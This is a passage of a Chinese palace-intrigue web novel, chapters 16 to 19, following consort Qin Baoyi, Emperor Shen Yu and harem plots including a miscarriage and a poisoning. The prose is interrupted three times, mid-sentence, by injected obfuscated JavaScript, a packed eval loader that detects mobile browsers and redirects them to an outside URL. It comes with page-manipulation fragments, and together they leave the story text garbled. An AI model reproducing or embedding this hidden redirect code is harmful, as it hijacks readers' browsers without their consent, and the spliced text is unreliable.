她跪在那里,脊背挺直。汉白玉的地砖冰凉刺骨,那凉意从膝盖一路往上蔓延,渗进骨头里。她感觉到那凉意,但她没有动。 她只是在等。 等他回答。 沈昱看着她。看着她的发顶,看着那根玉簪子,看着她挺直的脊背。 良久,他忽然笑了一下。 那笑容很短,只来得及在嘴角一闪,便收了回去。但那笑容里有一种奇怪的东西——不是愤怒,不是无奈。 像是自嘲。 然后他动了。转过身,一步一步,走回御座。 他的脚步很慢,靴底踏在汉白玉的地砖上,一下一下,不紧不慢。那脚步声在寂静的殿内回荡,笃,笃,笃——像有人在远处敲着丧钟,一声一声,催着什么东西慢慢死去。 “准。” 一个字,轻得像一片落叶。但在满殿的寂静里,那一个字像一块巨石砸进深潭,激起千层浪。 群臣哗然。 那些压抑已久的议论声终于爆发出来,像一锅煮沸的水,咕嘟咕嘟地冒着泡。有人惊呼,有人叹息,有人交头接耳,有人忍不住往前挤了挤,想看清御座上那个人的表情。 但那个人坐在那里,一动不动。十二旒冕冠垂落,遮住了他的脸,遮住了他所有的情绪。 “臣妾谢恩。”秦宝宜听见那个字从御座上飘下来,落在她耳中。 她没有抬头。她只是稳稳当当站起来,然后转过身,一步一步,向殿外走去。 走到殿门时,她听见身后传来一个声音。 “宝宜。” 是沈昱。 她停住脚步,没有回头。 身后传来他的声音,不高不低,恰好能让满殿的人听见: “贵妃,便贵妃吧。” 他像是在处理一桩微不足道的家事,当着群臣的面,把大事化小。 顿了顿—— “但正阳宫,还是你住。” 秦宝宜的手指轻轻蜷了一下,一切如她所料。 日光从殿门外照进来,落在她身上,暖洋洋的。她望着那一片光亮,望着那外面的天空。天很蓝,蓝得透明,像一块上好的青玉。 沈昱眼睁睁看着她走,愤怒似乎也被她一并带走,只是分神想起来那年海棠树下,她仰着脸看他的样子。 ——那时她满眼都是他。 如今她头也不回地走了。 16. 贵妃 孙荣躬着身子进来时,沈昱正坐在窗边看折子。 “皇上,丽嫔娘娘来了。” 沈昱的笔顿了一下。他抬起头,目光落在门口那道身影上。 丽嫔穿着一件簇新的桃红色宫装,料子是最时兴的妆花缎,领口袖口密密绣着缠枝海棠,衬得一张脸越发娇艳。 她进来便往他怀里钻,撒娇道:“皇上,臣妾新做的衣裳,好不好看?” 沈昱的目光从她脸上滑到那件桃红宫装上,眉头皱起来。 “怎么穿这个。” 丽嫔脸上的笑僵了僵,旋即又堆起来,娇滴滴地往他身上蹭:“这衣裳是新做的,臣妾挑了好久呢。皇上难道不喜欢?” “换了。”他说。 语气不重,但也没有商量的余地。 孙荣有眼力见,立刻上前,躬身道:“丽嫔娘娘,奴才带您去后头换一身。”丽嫔咬着嘴唇,到底不敢说什么,跟着孙荣去了后殿。 再出来时,她已经换了一身水蓝色的骑装。那骑装裁得贴身,腰身勒得细细的,勉强有几分飒爽。 沈昱的目光在她身上扫过,最后落在她唇上。那唇上涂着艳艳的口脂,红得像五月的榴花。 他伸手,用拇指轻轻擦掉那过浓的口脂,露出原本的唇色。指腹擦过她的唇瓣,力道不轻不重,像在把玩个玩意儿。 丽嫔的脸红了红,顺势往他怀里靠,声音软得像化了的蜜:“臣妾记下了。往后只穿皇上喜欢的。” 孙荣的声音又响起来:“皇上,小成子来了。” 丽嫔从他怀里抬起头,有些不情愿。沈昱拍了拍她的背,她便乖乖窝着不动了。 小成子进来时,穿着一身半旧的灰棉袍,很不起眼,一如那日他带秦宝宜去见冯坤时的那身装束。 翠翠说过的,皇后留下的人,被沈昱发现了不少。 他跪下,垂着头。“皇上,冯坤昨夜自尽了。” 沈昱的手顿了一下。 “他趁着守夜的人打盹,用裤腰带勒在脖子上……等发现时,人已经凉了。” 沈昱没有说话。他的手搭在丽嫔腰间,指节微微收紧了一瞬,又松开。 小成子继续说下去:“但昨日,他对贵妃娘娘说的话,奴才都听见了。” “什么话?” “是块令牌。”小成子的声音压得几乎听不见,“冯坤说……先皇给娘娘留了块令牌。” 沈昱的目光微微一凝。 他留着冯坤一条命,放秦宝宜去见他,等的就是这个。 “什么样的令牌?”他问,“做什么用的?” 小成子摇头:“没细说。奴才只听见冯坤让娘娘收好那令牌……似乎很重要。” 沈昱沉默了一息。 “还说了什么?” 小成子的身子伏得更低了些:“冯坤还把先皇去世前的事……告诉娘娘了。” 殿内静了一瞬。 沈昱的目光落在虚空某处,望着那一片昏黄的光晕。先皇去世前的事——他当然知道是什么事。那日他亲手端的药,那日他守在床前看着先皇咽气。 知道就知道吧。 他已经是皇上了。她知道了又能如何? 但他不懂——她怎么这么不识大体? 他把窦氏杀了给她出气,把庶长子给她养,连登基大典都要她站在身边。他做到这个地步,她还有什么不知足? 他想起了先皇后。想起了那些庶出的皇子,一个个抱到中宫抚养,先皇后从未有过一句怨言——怎么到了她这里,就不行了? 就算是她与先皇感情深,可出嫁从夫的道理,她难道没学过?她难道不应该理解他登上皇位的不容易,与他夫妻同心? 妻凭夫贵,她应安心辅佐才是。何必要为了几个死人,连皇后都不做了!当着满朝文武的面,让他下不来台。 他作为皇上,低声下气到这个地步,她还想怎样? 沈昱挥了挥手,小成子无声地退下。 帘子落下来,隔绝了外间的光亮。殿内又只剩下他和丽嫔两个人。 丽嫔从他怀里抬起头,看着他的脸色。她听不懂那奴才说的话,什么冯坤,什么令牌,什么海东国——她听不懂。 但她听懂了一样—— 秦宝宜失宠了。 她被这几日的恩宠哄得有些飘飘然了。声音娇娇的:“皇上,臣妾有句话,不知当讲不当讲。” 沈昱低头看她。 她仰着脸,嘴唇微微嘟着,一副天真烂漫的样子:“依臣妾看,贵妃娘娘就是被秦家宠坏了,不知天高地厚。” “皇后之位,那是多少女人求都求不来的,”丽嫔继续说下去,语气里带着一丝恰到好处的不平,“她倒好,当着满朝文武的面说不当就不当。这不是打皇上的脸吗?” 她顿了顿,声音更低了些,像是在说什么机密:“臣妾听说,秦家在北境拥兵自重。贵妃这样有恃无恐,还不是仗着娘家撑腰?” 沈昱听着,没有说话。伸手,挑起她的下巴。 丽嫔的脸红了红,眼睛亮晶晶地望着他。 沈昱看着她那双眼睛,看着那张娇艳的脸,薄唇微启,吐出两个字: “蠢货。” 丽嫔的脸色僵住了。无所适从。 沈昱却收回手,重新把她揽进怀里。他的手掌覆在她后背上,轻轻拍了拍,像在安抚一只受惊的小动物。 “但朕不喜欢聪明女人。”他说,声音温和得像在哄孩子。 丽嫔愣了一息,旋即笑起来,把脸埋进他胸口,娇声道:“臣妾才不聪明呢。臣妾笨得很,只会伺候皇上。” 与此同时,正阳宫里,却热闹得像过年。 还没进门,就能听见里面传出来的欢声笑语。那笑声清脆响亮,带着几分肆意,几分张狂,像一群出笼的鸟儿,叽叽喳喳地闹着。 门口守着几个宫女,脸上都带着笑,见人来了也不板着脸,只是微微屈膝行礼,眼睛里都透着喜气。 正殿里,暖意融融。地龙烧得足,鎏金熏笼里燃着上好的百合香,香气丝丝缕缕,混着酒香、脂粉香,熏得人骨头都酥了。 秦宝宜斜靠在临窗的矮榻上,手里握着一盏酒,听着满屋子的笑语喧哗,只觉得从头发丝到脚趾尖都透着痛快。 从前她端着。端着太子妃的架子,端着大家闺秀的规矩,端着不能给沈昱添麻烦的念头。那些艳丽的衣裳,她不穿,怕人说她不庄重。那些贵重的首饰,她不戴,怕人说她张扬。那些小姐妹的聚会,她不去,怕言官说太子妃不贤惠。 今日不一样。 她没有穿袜子。蜀锦绣鞋趿拉着,露出一截白花花的脚腕子。那脚腕子细得很,白得像上好的羊脂玉,上面系着一根红绳,坠着颗小小的金铃铛。她一动,那铃铛就轻轻响一声,叮—— 头上戴着累丝嵌宝的金步摇,随着她的动作轻轻晃动,珠串相击,发出细碎的声响。耳坠子是赤金的,坠着拇指大的东珠,沉甸甸地坠在耳垂上。脖子上挂着一串红宝石项链,颗颗饱满,在烛火下闪着艳丽的光。 她不施粉黛,两腮却被酒气熏得粉粉嫩嫩,唇脂涂得艳艳的,活脱脱一朵人间富贵花。 明艳。妩媚。活色生香。 后院更热闹。 她那二百抬嫁妆箱子,就这么大大咧咧地敞着盖,摆在院子里。青黛带着十几个宫女,按册清点。 沈昱争皇位时,那点皇子的俸禄根本不够花,她替他打点、替东宫撑起体面,花自己的嫁妆贴补她。 从前没数过,往后得有个数。 因为,少了的,她得拿回来。 那些箱子旁边,还摆着几口大箱子,里头装的是刀枪剑戟。都是她从前在家时用惯的,嫁进东宫后,怕舞刀弄枪不贤惠,怕给沈昱丢人,统统收了起来。 今日全翻出来了。该擦洗的擦洗,该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦宝宜挥挥手,几个抱着琵琶的乐人鱼贯而入。她们在角落里坐下,调了调弦,琵琶声便叮叮咚咚地响起来。 满屋子的人说说笑笑,听着曲儿,比外头的花街还热闹几分。 一曲弹罢,秦宝宜的目光从那些乐人脸上扫过,最后落在角落里一个中年女人身上。那女人生得寻常,穿着寻常的宫装,眉眼间带着一股子寡淡,像宫里随处可见的洒扫妇人。 “那个,”秦宝宜抬手指了指,“留下吧。本宫瞧着顺眼。” 翠翠抱着琵琶起身,走到一旁候着。 众人又闹了半日,直到夕阳西下,天色渐渐暗下来,才陆陆续续散了。 秦宝宜送走最后一个客人,靠在门框上,望着天边那一抹残红。 翠翠不知何时走到她身后,稳重道:“娘娘,冯坤自尽了。” 秦宝宜的手轻轻攥紧了一瞬。 “什么时候?” “昨夜。”翠翠的声音凉丝丝的,“皇上说他忠烈殉主,随先皇葬入皇陵。赏了他家里千金,配享哀荣。” 秦宝宜望着天边那抹残红,望着它一点点被夜色吞没。 她端起一旁的残酒,浇在地上。送他一程。 翠翠的声音又响起来:“带娘娘去见冯坤的那个小太监,是皇上的人。” 秦宝宜的目光微微一动。难怪那日事事顺利。 她轻轻笑了一下。 “他知道了也好。”秦宝宜转过身来。脸上带着酒意,两腮酡红,眼波流转。“省得本宫还要遮遮掩掩的。这下倒是能光明正大地用人了。” 转身,走进内殿。裙摆曳过门槛,带起一阵细风。那风里裹着酒香,裹着脂粉气,裹着这满殿的热闹与喧嚣。 “对了,”她说,“明日请柳氏过来一趟。本宫给她个扶摇直上的机会。” 17. 小产 就在皇上猜忌秦家、鸟尽弓藏的传言甚嚣尘上时,当夜,沈昱连下了三道圣旨。 第一道,朕亲自往皇陵持斋七日,为先皇祈福。 这是做给天下人看的——他不是那不孝之子,更不是那等登基便忘了根本的昏君。皇陵的风霜越苦,他的孝心越真。 第二道,贵妃秦氏贤德,虽因无子自请降位,然朕不忍负永靖候府的忠君之义,更不舍与秦氏的夫妻之情。故此后宫一切事宜,皆由贵妃协理,所有权力、礼数、用度,一概比照皇后。阖宫上下,不得怠慢。皇后之位,朕愿虚位以待。 第三道,永靖候秦徽戍边多年,年迈辛苦,朕许其回京荣养。其子秦霄云袭镇国将军位,留戍北境。另敕封其次子秦霄野为定东候,即日前赴东境练兵,并负责与海东国的一切外交事宜。 三道圣旨,将流言砸的粉碎。 一夜之间,风向变了。 那些关于“皇上忌惮功臣”的流言,被圣旨轻轻一抹,便消失得无影无踪。 取而代之的,是另一种声音—— 秦家功高震主,皇上得罪不起。更有甚者,将矛头指向了后宫,说贵妃秦宝宜那日在金殿自请降位,分明是逼皇上大封秦家! 一门两候。 这是大齐开国百年来,从未有过之事。 也有老臣眼光毒辣,看出了苗头不对—— 先帝在时,曾钦命秦霄野入禁军,摆明了是要为日后接手禁军做准备。是宠信。 可皇上这一道旨意,表面看是提拔,实则却将人调离了权力中心。 秦家在京中,从此只剩一位“不得干政”的贵妃。 次日天亮,那三道圣旨的内容,传遍了整座皇宫。 嫔妃们原本因为后位空悬,没了每日请安的规矩,正乐得清闲。可这圣旨一下,她们不得不早早地打起精神,到正阳宫来点卯。 贵妃协理后宫。权力、礼数、用度,一概比照皇后。 这话什么意思?意思是往后这后宫里,秦宝宜说了算。 她们敢不来吗? 可她们来了,却在正阳宫门口,吃了个结结实实的闭门羹。 因为,秦宝宜正在睡大觉。 昨夜,她借着酒意,看着院子里那些翻出来的刀枪剑戟,兴起。将近子时了,又着宫人摆上数个小炉,围炉煮茶夜话。 正阳宫的这些奴才里,有她带进宫的陪嫁,有皇后娘娘留下的老人,总归都是信得过的。 秦宝宜把家里带兵那套法子,用在后宫收买人心上—— 吃喝算什么?她还把嫁妆箱子里收拾出来的金叶子、缎匹、金银首饰,捡合适的,一股脑儿都分给了奴才们。 大家一处,无尊无卑,说说笑笑,至凌晨方歇。好不惬意。 这也导致了,此刻正阳宫外,嫔妃们巴巴地站了半个多时辰,在料峭春寒里冻得直打哆嗦。 真不是秦宝宜摆款儿。是正阳宫上下,都宿醉没起。 “主子不像主子,奴才不像奴才!这都巳时了!” 最先开口的,竟是德妃——从前的李承徽。 她生得纤弱,此刻只披了件锦缎斗篷,更显得弱柳扶风、身量纤纤。 可那单薄的料子挡不住冷风,她的嘴唇已经冻得发白,说出来的话,也带着一丝平日没有的尖刻。 “她从前不是最守规矩的吗?真是荒唐。” 她手里还拉着三岁的三皇子沈璋。那孩子也冻得小脸通红,直往她身上蹭,奶声奶气地喊冷。 “我瞧着,咱们从前,怕是都看错了她。” 说话的是贤妃柳氏——庶次子沈琪的生母。 她生得妩媚,此刻裹着一件狐毛大氅,怀里还揣着手炉,倒是半点不惧这春寒。她拉着自己那虎头虎脑的儿子,二皇子沈琪,脸上带着看好戏似的的笑意。 “生在秦家,是她命好。可这份以退为进的手腕,确实是人家的本事。” 她顿了顿,目光从德妃脸上扫过,落在那紧闭的正阳宫大门上。 “咱们啊,且看着吧。” “她有什么本事?”丽嫔的声音尖尖的,带着一股掩不住的忿忿。 她今日又穿了那身骑装,水蓝色的,腰身勒得细细的,像是焊在了身上。嘴唇冻得发紫,却还强撑着挺直腰板,不肯在人前露了怯。 “这样骄横,那个男人会喜欢?” 没有人接她的话。 倒是慧嫔朴氏,远远地站在人群外侧,与几个低位嫔妃说笑着。她穿着一身素净的衣裳,眉眼带着异域的风情,站在那一片花团锦簇里,反而格外醒目。 她像是没听见这边的动静,只是偶尔抬眼,往正阳宫的方向看一眼。目光平静,看不出什么情绪。 又等了一盏茶的功夫。 正阳宫的大门,终于开了。 青黛快步走进内殿,拢起床幔。 “主子,醒醒。嫔妃们来请安了。” 帐幔里,秦宝宜睡得正香。 藕荷色的锦被裹着她,像朵聚拢的芍药。一条白花花的膀子露在外面,被寒气一激,本能地往被子里缩了缩,嘴里嘟囔着:“请什么安啊?” 青黛伸手去拉她,“都巳时了!外面站了十几位娘娘呢!” 秦宝宜迷迷糊糊地睁开眼。 “嗯。”她应了一声,又闭上了。 青黛招呼着小丫头们准备热水、衣裳、梳妆用具,又亲自打湿了帕子,替秦宝宜净面。 帕子是温的,敷在脸上,舒服得很。秦宝宜这才慢慢清醒过来,由着青黛替她通发。 “主子,昨夜皇上连下了三道圣旨。”青黛一边梳头,一边把外面的消息,慢条斯理地说给她听。 秦宝宜脑子还是浑浑沌沌的。直到听见最后一句,她的眼皮跳了一下。 “把霄野派去东边?” 她睁开眼,望着镜中的自己。 铜镜里那张脸,还带着宿醉的倦意,两腮酡红,眼波流转。她望着那张脸,望着那张脸上慢慢浮起的神色,轻轻吐出两个字:“混蛋。” 青黛的手顿了一下。 “主子,要不要让二公子装个病,拖一拖?” “先问问霄野的意思。”她揉了揉太阳穴,把残余的酒意驱散干净。 青黛不再多问,继续替她梳头。 秦宝宜望着窗外那一片明亮的日光,心思却渐渐飘远了。 又是海东国。 冯坤说,先皇与沈昱争吵时,提到了海东国。 可海东国这几年安分得很,除了朝觐纳贡,与大齐几无往来。这样一个弹丸小国,有什么值得吵的? 而且,沈昱在先皇面前,向来是有求必应的孝子。先皇这两年对沈昱也无不满。到底为什么,会突然在争执中提到海东国? 就在这次争吵之后,先皇便急病驾崩了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248660|197441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 区区海东国,为什么会逼得沈昱狗急跳墙? “主子,这书奴婢先替您收起来。” 青黛的声音打断了她的思绪。她回头一看,青黛正从她枕边拿起之前翻了一半的兵书。 秦宝宜的目光落在那本书上。 蓝布皮,磨得发毛的边角,褪了色的布面。 她忽然想起先皇后留给她的那本。 电光火石间,两个字闯进她脑海里。 ——血统。 “慧嫔来了吗?”她问。朴,是海东国的国姓。 青黛愣了一下:“在呢。都在外面候着呢。” “待会儿,你悄悄让慧嫔留下。”秦宝宜吩咐翠翠。 翠翠点头,无声地退到一旁。 秦宝宜随手挑了件青色的宽袖裙子,匆匆穿上。还没等出门,就听见外面闹了起来—— “我先捡到的!” 二皇子沈琪的声音,又脆又响,像一颗小炮仗炸开了。他手里举着片在院子里捡到的金叶子,阳光下金光闪闪,好看得紧。 “我也要!给我看看!” 大皇子沈环说着就要去抢。 两个孩子,就这么在正阳宫的院子里,你推我搡地闹了起来。 二皇子生得虎头虎脑,壮得像头小牛犊子,比大皇子还高了半头。他高举着金叶子,大皇子踮起脚也够不到,急得直跳脚。 “我是大哥!”大皇子涨红了脸,“你要听我的!” 他拿头一撞,正撞在二皇子肚子。 二皇子没防备,被撞了个仰倒,一屁股坐在地上。金叶子脱了手,飘飘悠悠地落在地上,在日光下闪了闪。 柳氏站在一旁,看着自己儿子吃亏,却没有急着上前。 她只是让宫人把二皇子扶起来,自己弯腰捡起那片金叶子,递到大皇子面前。 “你说的对。”她的声音爽利,脸上还带着笑,“他是弟弟,该让着你。” 大皇子接过金叶子,得意洋洋地扬起下巴。 柳氏拍了拍二皇子身上的土,轻声道:“不碍事的,回头娘给你做个更好的。” 一抬头,正看见秦宝宜站在正阳宫门口。 柳氏快步走上前,笑着赔罪: “都是琪儿的不是,不懂得敬重兄长。惊扰了娘娘,真是该死。” “青黛,带大皇子下去。”秦宝宜收回目光,声音懒懒的,“本宫新得了一壶阳羡茶,是贤妃家乡的口味。略坐坐,尝尝?” 柳氏微微欠身:“娘娘抬爱,嫔妾恭敬不如从命。” 秦宝宜的目光从她脸上移开,扫过院子里那些嫔妃—— 德妃站在人群最外侧,仍是那副纤纤弱弱的样子,脸色却白得有些吓人。 丽嫔一脸忿忿,嘴唇冻得发紫,却还强撑着,像只斗鸡。 慧嫔远远地站着,与几个低位妃嫔说笑着,偶尔抬眼往这边看一眼。与她点了点头。 “旁人,都散了吧。”秦宝宜说。 嫔妃们纷纷行礼告退。 德妃走在前面。她刚走到院门口,忽然身子一软,像一截柳枝似的,软绵绵地往下倒。 她的婢女惊叫一声,伸手去扶,却已经晚了。紧接着,又是一声惊叫—— 众人看过去,德妃的裙摆已被鲜血染红。 青黛挡在前面,看着那团污秽,在她耳边低声道:“主子,德妃这是……小产了?” 18. 暗流 德妃被抬回关雎宫时,人已经半昏半沉。 太医一路小跑着跟进来,诊脉、问询、开方,忙得额角沁汗。最后放下脉枕,躬身回禀:“启禀贵妃娘娘,德妃娘娘这是……小产了。” 德妃面如死灰,躺在床上一动不动。 “怎么会……”她的嘴唇动了动,声音轻得像一片落叶,“我明明……我明明小心得很……” 太医垂着头,不敢接话。只道根据太医院留存的脉案,德妃在东宫时便被诊出喜脉,约莫一月有余。只是彼时先皇驾崩,诸事繁杂,德妃一直未曾声张,也就这样瞒了下来。 “是胎气不稳的缘故。”太医说,“娘娘本就身子弱……” 话音刚落,一个尖利的声音从人群后面传来—— “定是早上在正阳宫外冻坏的!” 丽嫔从人群中挤出来,脸上带着一丝掩不住的幸灾乐祸。她穿着那身骑装,站在那一群花团锦簇的嫔妃中间,显得不伦不类。 “妹妹们在正阳宫外站了半个多时辰,冻得直打哆嗦。德妃姐姐身子本就弱,哪里经得起这样的寒气?”她扬起下巴,看着秦宝宜,“贵妃娘娘,您说是不是?” 殿内倏地静下来。所有人的目光都落在秦宝宜身上。那些目光里有探询,有惊恐,有幸灾乐祸,有看好戏的期待。 秦宝宜的目光从丽嫔脸上扫过。那目光很平,没什么情绪,只是落在她脸上,像落在一块石头上。 “掌嘴。” 两个字,轻飘飘。 丽嫔的脸色僵住了。 她愣在那里,一时没反应过来。过了好几息,她才意识到秦宝宜说了什么。她的脸涨红了,嘴唇哆嗦着,想说什么,却什么都说不出来。 她身后两个宫女面面相觑,不敢动。 秦宝宜没有重复。她只是站在那里,看着丽嫔,未动怒。但不知怎的,丽嫔觉得那目光像两把刀,架在她脖子上。 “你……”丽嫔终于找回了声音,“你凭什么?就算是皇后,也不能随意体罚妃嫔!” 秦宝宜没有理她。她转向一旁的内侍,声音淡淡的:“丽嫔不尊上位、寻衅滋事,罚俸半年,撤了牌子,闭宫自省一月。” 丽嫔的脸由红转白,由白转青。 她张了张嘴,想说什么,却被身后的宫女拉住了袖子。那宫女低着头,声音压得极低:“娘娘,别说了……” 秦宝宜没有再理她。她转过头,看向床上的德妃,“太医院和宫人好生照料着。” 沈昱到皇陵尽孝去了,她压根儿不想替他的妾室操心。 太医和宫人齐齐应是。 众人正要散了,德妃的贴身侍女兰草却急急忙忙跑进来,脸色惨白,声音发颤: “娘娘!不好了!三殿下便血了!” 德妃的身子猛地一颤。她撑着床沿就要起身,却腿一软,整个人从床上栽下来,重重摔在地上。 “娘娘!”兰草惊叫着扑上去。 秦宝宜几步走过去,示意宫人将她扶起来。德妃的脸白得像纸,嘴唇哆嗦着,眼泪扑簌簌地落下来。 “璋儿……” 秦宝宜安抚住德妃:“你歇着。”她说,“本宫去看看。” 事涉皇嗣,她若不管,再有言官口诛笔伐,沈昱更有借口架空秦家了。 东偏殿里,满屋子都是便溺的腥臭气。 那气味冲得很,熏得人直犯恶心。窗子紧闭着,闷热污浊的空气凝滞不动。 青黛立刻差人把窗子都打开。风灌进来,吹散了那股气味,也吹得烛火一阵乱晃。 三皇子沈璋躺在床上,小脸苍白,嘴唇毫无血色。他蜷缩在被子里,小小的身子轻轻发着抖,连呻吟声都弱得像小猫似的,一下一下,挠在人心上。 太医已经诊过脉,又看了那便溺之物,眉头越皱越紧。他问过今日的饮食,又让医女仔细查看三皇子的口唇、指甲,最后站起身来,面色凝重地走到秦宝宜面前。 “娘娘,三殿下这症状……极有可能是中毒。” 殿内静了一瞬。 德妃的声音从门口传来—— “怎会中毒!” 她披着一件外裳,被侍女扶着,踉踉跄跄地走进来。她的脸色比沈璋还要白,仿佛随时都会倒下去。她走到床边,看着床上的儿子,眼泪扑簌簌地落下来。 “璋儿的饮食都是我亲手料理……”她话说了一半,忽然抬起头,手指向西偏殿的方向。那张向来清高冷淡的脸上,此刻满是狰狞的恨意: “是苏氏!一定是她!” 侍女兰草也接话道:“苏贵人在东宫时便常常来讨好娘娘,进了宫,更是一日不落地晨昏定省。苏氏擅厨,这一年来常做些药膳羹汤孝敬娘娘,之前也没出过岔子……” 她顿了顿,声音更低了些:“娘娘和三殿下今早……就喝了苏氏送来的鸡汤。” 丽嫔站在人群后面,探着脑袋往里看。刚被罚完,忍不住插嘴道: “瞧瞧,肯定是那苏氏做贼心虚,不敢露面了。” 秦宝宜吩咐翠翠: “去请苏贵人。” 很快,翠翠去而复返。脸色不太好看。她走到秦宝宜身边,压低了声音: “主子,苏贵人,上吊自尽了。” 德妃的脸上,最后一点血色也没了。 她坐在那里,浑身发抖。 然后她忽然站起身,扑通一声跪在秦宝宜面前。 秦宝宜低头看着她。 德妃跪在地上,仰着脸看她。那张脸上满是泪痕,那双眼睛里满是恐惧、哀求、绝望。她跪在那里,像一只被雨淋湿的雀儿,瑟瑟发抖。 “贵妃娘娘。”她的声音嘶哑,一字一顿,“皇上不在宫中,请娘娘做主,救救我母子二人的性命。” 秦宝宜沉默了一息。然后俯下身,亲手将德妃扶起来。 “青黛,去通知内侍省的人来,接管关雎宫的内务。”她顿了顿,又看向太医,“派医女来贴身照顾德妃和三皇子,不得有误。” 德妃的手攥着她的袖子,攥得那样紧,指节都泛了白。 秦宝宜轻轻拍了拍她的手背。 “好好养着。”她说,“皇上回宫前,此事由本宫主理。本宫会给你个交代的。” 众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252760|197441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人散了。 丽嫔小跑着追上来,脸上堆着笑,声音娇娇的: “嫔妾不懂事,方才言语冲撞了娘娘,请娘娘宽恕。” 她到此刻才看清——皇上不在,这后宫里,谁才是说了算的那个人。 秦宝宜出了关雎宫,沿着抄手游廊往外走。刚走到一半,便看见贤妃柳氏在不远处的凉亭里坐着。 见她过来,贤妃站起身,笑着迎上来: “不知道贵妃娘娘,还有没有心情品茶?” “喝茶是次要的。”她说,抬脚往凉亭走去,“今日留妹妹,主要是有事相求。” 贤妃愣了愣,显然没想到。她跟在秦宝宜身后,走进凉亭,轻声道: “嫔妾人微言轻,实在不知道哪里能帮上娘娘。” 秦宝宜在主位上坐下,望着远处那片灰蒙蒙的天空。日光从云层缝隙里漏下来,落在她脸上,明明暗暗的。 “今日看着德妃小产,”她的声音低下去,带着一丝恰到好处的黯然,“本宫心里也不是滋味。想起了那个……没缘出世的孩子。” “本宫盼子嗣盼了五年,好不容易有了,却被窦氏害了。伤情之下,做了些不理智的事……与皇上的感情,也疏远了。” 贤妃沉默了一息,劝慰道: “贵妃娘娘春秋正盛,孩子会有的。” 秦宝宜摇摇头,面露惋惜。 “本宫看皇上为先帝守灵辛苦,心疼却帮不上忙。皇上也……怕是恼了本宫。”她顿了顿,收回目光,落在柳氏脸上,“后宫上下,德妃清高、丽嫔轻狂、慧嫔又是外族……只你能担事。” 贤妃垂着眼,声音恭谨: “是娘娘抬举嫔妾。” 秦宝宜看着她,话锋一转: “本宫与皇上青梅竹马的情分,最知皇上仁孝纯善。如今皇上的生母方氏还在行宫,本宫每每想起,便替皇上心疼。” 贤妃抬起眼,看着秦宝宜。那目光里有试探、有掂量。 “娘娘是想……让皇上接方氏入宫?” 秦宝宜点点头。 “这正是为人子应尽的孝心。” 又顿了顿,面露难色: “只是妹妹知道,先皇后待本宫恩重。接方氏入宫的事,若由本宫提起,朝廷内外怕是又要议论本宫忘恩负义。” 她看着贤妃,目光里带着一丝恰到好处的期盼: “但本宫又实在心疼皇上。思来想去,只有妹妹能担起这个重任。” 贤妃没有说话。 她望着秦宝宜,那目光很深,像要从她脸上看出什么来。秦宝宜任她看着,不动,也不躲。 良久,贤妃垂下眼。 “娘娘,”她的声音不高不低,一字一顿,“嫔妾怕是,担不起这样大的事。” 秦宝宜没有立刻接话。 她端起茶盏,抿了一口。茶已经凉了,入口微涩,带着一丝若有若无的苦味。她慢慢咽下去,放下茶盏。 站起身,也不多劝,只是拍了拍她的肩。 “选秀在即,德妃又病了,皇上身边正需要个像妹妹这般伶俐的解语花。” 19. 无情 沈昱从皇陵回宫时,已是申时三刻。 七日持斋,他清瘦了些,玄色常服将他整个人衬得愈发深沉。他处理完这几日积攒的政务,抬眼看了看更漏——酉时正,正是晚膳的时辰。 “孙荣。”他搁下朱笔。 “奴才在。” “摆驾正阳宫。” 孙荣应了一声,躬身退出。 正阳宫里,却扑了个空。 殿内掌了灯,暖黄的光透过窗棂漫出来,映在廊前的青石板上。几个宫女正端着食盒往里走,见圣驾前来,慌忙跪了一地。 “你们娘娘呢?”沈昱问。 为首的宫女垂着头,声音恭谨:“回皇上,娘娘去校场了,还未回来。” 沈昱微微一怔。他摆了摆手,示意她们继续忙自己的,抬脚进了殿内。 正殿里燃着百合香,香气丝丝缕缕,混着殿外飘进来的腊梅气息。地龙烧得足,暖意融融,与外间的春寒料峭仿佛两个世界。 他站在殿中,目光慢慢扫过这间屋子。 妆台上的首饰匣子敞着,几件赤金首饰随意扔在里面,珠光宝气在烛火下明明灭灭。窗边的矮榻上,搭着一件青灰色的斗篷,是家常穿的,半旧。 他的目光落在书桌上。 那书桌临窗,案上摊着几本书,一支狼毫搁在笔山上,墨迹还未干透。他走过去,低头看那几本书——《孙子兵法》《战国策》,还有一本翻了一半的,竟是《海国图志》。 他随手翻了翻那本《海国图志》,书页间夹着一张纸条,上头是她娟秀的字迹,抄着几句关于海东国的风土人情。 他的眉头微微蹙了一下,又松开。 他把书放回原处,又去看她写的字。桌上摊着几张宣纸,上头是她临的帖子,一笔一划,行云流水。有几张写了一半,墨迹洇开,像是写到一半便搁下了。 他的手指轻轻抚过那些字迹,像是要从那一笔一划里,触碰到她这些日子在想什么。 但那些字只是安安静静地躺在那里,不给他任何答案。 殿外传来脚步声。 沈昱转过身,正好看见秦宝宜掀帘进来。 